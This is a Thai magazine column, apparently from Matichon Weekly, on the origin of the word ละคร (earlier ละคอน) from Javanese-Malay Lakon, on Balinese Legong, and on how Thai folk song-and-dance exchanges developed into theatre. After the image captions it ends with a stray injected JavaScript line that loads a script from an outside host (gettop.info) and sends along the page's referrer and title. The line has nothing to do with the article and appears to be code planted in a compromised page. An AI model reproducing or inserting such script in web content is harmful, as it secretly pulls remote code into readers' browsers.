มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 13 มกราคม 2555

 

          ละคร หมายถึงการละเล่นจำพวกหนึ่งที่มีโครงเรื่องอย่างนิยาย แล้วมีคนเล่นตามบทต่างๆ เช่น พระเอก, นางเอก, ตลก, ฯลฯ ปัจจุบันเรียกว่าการแสดงและตัวแสดง

          คำว่า ละคร แต่ก่อนสะกดว่า “ละคอน” ทางการเพิ่งเปลี่ยนให้สะกดว่า “ละคร”เมื่อไม่นานนี้เอง

          สมเด็จฯ กรมพระยาดำรงราชานุภาพ, สมเด็จฯ เจ้าฟ้ากรมพระยานริศรานุวัดติวงศ์, จนถึงธนิต อยู่โพธิ์(อดีตอธิบดีกรมศิลปากร) สะกดว่า “ละคอน” ทุกครั้ง เพราะไม่ใช่คำมาจากบาลี-สันสกฤต แต่มาจากคำพื้นเมืองอุษาคเนย์ตระกูลชวา-มลายู

 

ละครชวา-มลายู

          ละคร หรือ ละคอน มาจากคำในตระกูลชวา-มลายู

          คำอินโดนีเซียสะกดว่า Lakon (An Indonesian-English Dictionary by John M. Echols and Hassan Shadily, Cornell University Press, USA.)

          คำมลายู สะกด 2 อย่างว่า Lakon, Lakun (A Malay-English Dictionary by R.J. Wilkinson, macmillan, London 1959)

          บาหลีเรียกละครว่า Legong แล้วมีผู้เขียนคำอธิบายว่า

          เป็นการแสดงเรื่องราวเกี่ยวกับเจ้าหญิงรังคสารีที่ถูกจับโดยกษัตริย์ลักษม์ ทำให้พระเชษฐาของพระองค์คือเจ้าชายดาหาเสด็จมาช่วยและเกิดการต่อสู้กัน

          ลักษณะการรำงดงาม เชื่องช้า เนิบนาบ โดยใช้เด็กหญิง 3 คนเป็น ตัวแสดง ซึ่งเด็กหญิงนั้นจะต้องมีหน้าตาสวยงามและถูกฝึกมาอย่างดี

          ผู้แสดงรำเลกองแบบดั้งเดิมนั้นจะต้องเป็นเด็กหญิงที่ยังไม่มีประจำเดือนเท่านั้น ในอดีตนางรำเลกองมักจะกลายเป็นชายาของเจ้าเมืองหรือราชวงศ์

          เมื่อศิลปินผิวขาวเข้ามาก็มักนิยมใช้นางรำเลกองเป็นแบบในการวดภาพหรือปั้นหุ่นแล้วก็ได้เป็นภรรยาในที่สุด

 

เพลงชาวบ้านมี “นิยาย”

          ละครไทย มีกำเนิดแล้วพัฒนาการจากเพลงโต้ตอบที่ต้องมีแม่เพลงกับพ่อเพลงร้องโต้ตอบกันตั้งแต่หลายพันปีมาแล้ว ครั้นนานเข้าก็ผูกเรื่องอย่างมี“นิยาย” จนกลายเป็นละคร

          ผมเคยเขียนอธิบายไว้ในหนังสือ ร้องรำทำเพลง (พิมพ์ครั้งแรก พ.ศ. 2532) ว่า ลักษณะนิยายในการละเล่นเพลงมีเค้าเงื่อนอยู่ที่ลำดับการเล่นอันถือเป็นแบบแผนหรือประเพณีว่าจะต้องเริ่มจากบทไหว้ครู, บทเกริ่น ต่อจากนั้นให้ขึ้นบทประ(ทักทาย), บทผูกรัก(เกี้ยวพาราสี), บทสู่ขอ-ลักหาพาหนี, บทชิงชู้-ตีหมากผัว แล้วจบลงด้วยบทลาจาก

          เมื่อขึ้นบทประ หมายถึงการทักทายปราศรัยของพ่อเพลงแม่เพลง แล้วเริ่มลวดลายใช้คำสองง่ามสองแง่เฉียดกันไปเฉียดกันมา มีการตั้งปัญหาทั้งทางโลกและทางธรรมเพื่อให้มีการตอบโต้กัน แต่ฝ่ายพ่อเพลงจะพยายามแปลความหมายหรือลากไปในเชิงเกี้ยวพาราสีจนกลายเป็นผูกสมัครรักใคร่

          ถึงบทสู่ขอก็คือฝ่ายหญิงตกล่องปล่องชิ้นยอมรับยอมรักแล้ว ฝ่ายหญิงจะต้องให้ผู้หลักผู้ใหญ่ไปทำพิธีสู่ขอตามประเพณี

          แต่ฝ่ายชายบ่ายเบี่ยงแล้วอ้างว่ายากจนเข็ญใจไม่มีปัญญาจะไปจัดพิธีสู่ขอได้ จึงขอให้ฝ่ายหญิงหนีตามไปซึ่งเรียกตอนนี้ว่าลักหาพาหนี อันเป็นตอนที่มีลีลาหลายรส เพราะฝ่ายหญิงจะต้องร่ำลาห้องหับที่อยู่อาศัย และเครื่องของใช้สอยต่างๆ ก่อนที่จะออกหนีตามฝ่ายชาย ต่อจากนั้นฝ่ายชายก็พาฝ่ายหญิงเดินทางชมนกชมไม้ไปอีกยืดยาว

          บทชิงชู้และตีหมากผัวจัดเป็น 2 รสเพลง เพราะบทชิงชู้เป็นเรื่องของ“หนึ่งหญิงสองชาย” ด้วยฝ่ายหญิงมีชู้รักอยู่อีก 1 คน แต่บทตีหมากผัวเป็นเรื่องของ“สองหญิง หนึ่งชาย” หรือ“เมียหลวง-เมียน้อย” ด้วยฝ่ายชายมีเมีย 2 คน เพลงชุดนี้เป็นลีลาการทะเลาะเบาะแว้งโต้เถียงรุนแรง แล้วเป็นต้นแบบบทด่าทอให้ละครนอกสมัยต่อๆไป

          เพลงบทหรือชุดมิได้มีเพียงเท่านี้ เพราะพ่อเพลงแม่เพลงอาจพลิกแพลงเพิ่มเติมบทหรือชุดอื่นๆได้อีกตามต้องการ

          แต่ลักษณะสำคัญก็คือเป็นเรื่องราวมี “นิยาย” แล้วสมมุติตัวละครขึ้นมาว่ากลอนโต้ตอบกันอย่าง“อร่อย”

 

ร้องด้วย รำด้วย

          เล่นเพลงโต้ตอบต้องฟ้อนรำประกอบด้วย ครั้นนานเข้าก็เป็นละคร มีตัวอย่างเล่นเพลงแล้วฟ้อนรำอยู่ในโคลงทวาทศมาสว่า

          ขับซอปี่แคนหลาย        เพลงพาทย

          ติ่งติ่งนิ้วน้าวเต้น           ร่อนรำ

          มหานาค วัดท่าทราย แต่งบุณโณวาทคำฉันท์ บรรยายงานสมโภชพระพุทธบาทในสมัยพระเจ้าบรมโกศ ตอนหนึ่งว่ามีระบำเทพทอง หรือระบำประกอบเพลงสดโต้ตอบเป็นการละเล่นที่ผู้คนสมัยนั้นนิยมดูถึงขนาด“คะนองเฮ”

          ในคำให้การขุนหลวงหาวัด เล่าเรื่องมหรสพในงานพระเมรุพระบรมศพ และงานฉลองทั่วๆไปในสมัยนั้นว่า “ให้มีโขนหนังละครหุ่นและมอญรำระบำเทพทอง…” แสดงว่าการเล่นเพลงเทพทองสมัยกรุงศรีอยุธยาจัดเป็นประเภทฟ้อนระบำ สอดคล้องกับกลอนพระอภัยมณีของสุนทรภู่ว่า “หุ่นละครมอญรำระบำไทย  เพลงปรบไก่เทพทองร้องค้างคาว”

          ในกลอนเสภาเรื่องขุนช้างขุนแผน บอกว่าการเล่นเพลงจะต้องร้องด้วยรำด้วย ดังนี้

          นายแจ้งก็มาเล่นเต้นปรบไก่     ยกไหล่ใส่ทำนองร้องฉ่าฉ่า

          รำแต้แก้ไขกับยายมา           เฮฮาครื้นครั่นสนั่นไป

          ความเป็นระบำของการเล่นเพลงสดโต้ตอบยังมียืนยันอยู่ในชื่อเพลงระบำต่างๆ เช่น เพลงระบำบ้านไร่, เพลงระบำหน้านา, เป็นต้น

          ลักษณะร้องรำเป็นระบำอย่างนี้ล้วนเป็นพื้นฐานสำคัญที่จะมีพัฒนาการต่อไปเป็นละคร

 

ละครของบาหลี เรียก “เลกอง” (Legong) (ภาพจาก photoppurtunist.wordpress.com)

ร้องรำทำเพลงของชาวบ้านที่ ต. ห้วยชัน อ. อินทร์บุรี จ. สิงห์บุรี (ภาพจากหนังสือ เพลงนอกศตวรรษ ของ เอนก นาวิกมูล มติชน พิมพ์ครั้งที่ 4 พ.ศ. 2550)

ร้องเพลงระบำบ้านนา บ้านบางลูกเสือ ต. บางลูกเสือ อ. องครักษ์ จ. นครนายก (ภาพจากหนังสือ เพลงนอกศตวรรษ ของ เอนก นาวิกมูล มติชน พิมพ์ครั้งที่ 4 พ.ศ. 2550)

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;